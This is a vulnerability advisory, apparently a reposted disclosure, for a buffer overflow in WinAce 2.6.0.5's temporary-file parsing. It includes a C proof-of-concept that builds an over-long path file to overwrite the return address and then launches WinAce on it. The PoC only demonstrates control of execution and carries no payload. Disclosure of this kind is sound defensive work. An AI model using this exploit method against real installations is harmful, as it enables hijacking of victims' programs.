WinAce Temporary File Handling Buffer OverflowSummary
"WinAce is an archiving utility with an easy-to-use interface for creating, extracting, and viewing archives."
Local exploitation of a buffer overflow vulnerability in WinAce allows attackers to execute arbitrary code.
Credit:
The information has been provided by ATmaCA.
The original article can be found at: http://www.atmacasoft.com
Details
Vulnerable Systems:
* WinAce version 2.6.0.5 (earlier versions suspected)
When WinAce attempts to compress any file, firstly it creates temporary file which contains the location of the file which will be compressed. The problem specifically exists when parsing temporary files that contain long file entries.
An example malicious .tmp file with a long file name:
c:\AAAAAAAAA...[A x 2021 bytes is where the EIP starts]1234[AAAA...AAAAA]\r\n
Command line:
"C:\Program Files\WinAce\winace.exe" a "C:\Program Files\WinAce\winace" @c:\crafted.tmp
'[A x 2021]' represents any string of 2021 bytes in length. Opening either malicious tmp file on the Microsoft Windows platform will cause WinAce to crash with an access violation when attempting to execute instruction 0x34333231, which is the little-endian ASCII code representation of '1234'. An attacker can exploit this vulnerability to redirect the flow of control and eventually execute arbitrary code. This example is specific to the Microsoft Windows platform.
Exploitation requires that an attacker to execute arbitrary command line which contain location of malicious tmp file.
Disclosure Timeline:
22.07.05 - Initial vendor notification
25.07.05 - Initial vendor response
19.08.05 - Public disclosure
Proof of concept:
/*
*
* WinAce Temporary File Parsing Buffer Overflow Vulnerability
* http://www.winace.com/winace.html
* Discovered & Coded By ATmaCA
* Web: atmacasoft.com && spyinstructors.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan
*
*/
/*
*
* Tested with WinAce 2.6.0.5 as installed on the Win XP Sp2 En platform
*
*/
#include <windows.h>
#include <stdio.h>
void main()
{
// create crafted command line
char tmpfile[] = "c:\\crafted.tmp";
char winacepath[] = "\"C:\\Program Files\\WinAce\\winace.exe\"";
char compresspar[] = " a \"C:\\Program Files\\WinAce\\winace\" @";
char runpar[300];
int i = 0;
char Ret_Addr[]= "\x31\x32\x33\x34";
strcpy(runpar,winacepath);
strcat(runpar,compresspar);
strcat(runpar,tmpfile);
// create crafted .tmp file
FILE *di;
if( (di=fopen(tmpfile,"wb")) == NULL ){
return;
}
fprintf(di,"c:\\");
for(i=0;i<2013;i++)
fputc(0x41,di);
// Overwriting the return address (EIP)
fprintf(di,Ret_Addr); //EIP
for(i=0;i<178;i++)
fputc(0x41,di);
// end of file
fprintf(di,"\x2E\x74\x78\x74\x0D\x0A");
fclose(di);
WinExec(runpar,SW_SHOW);
}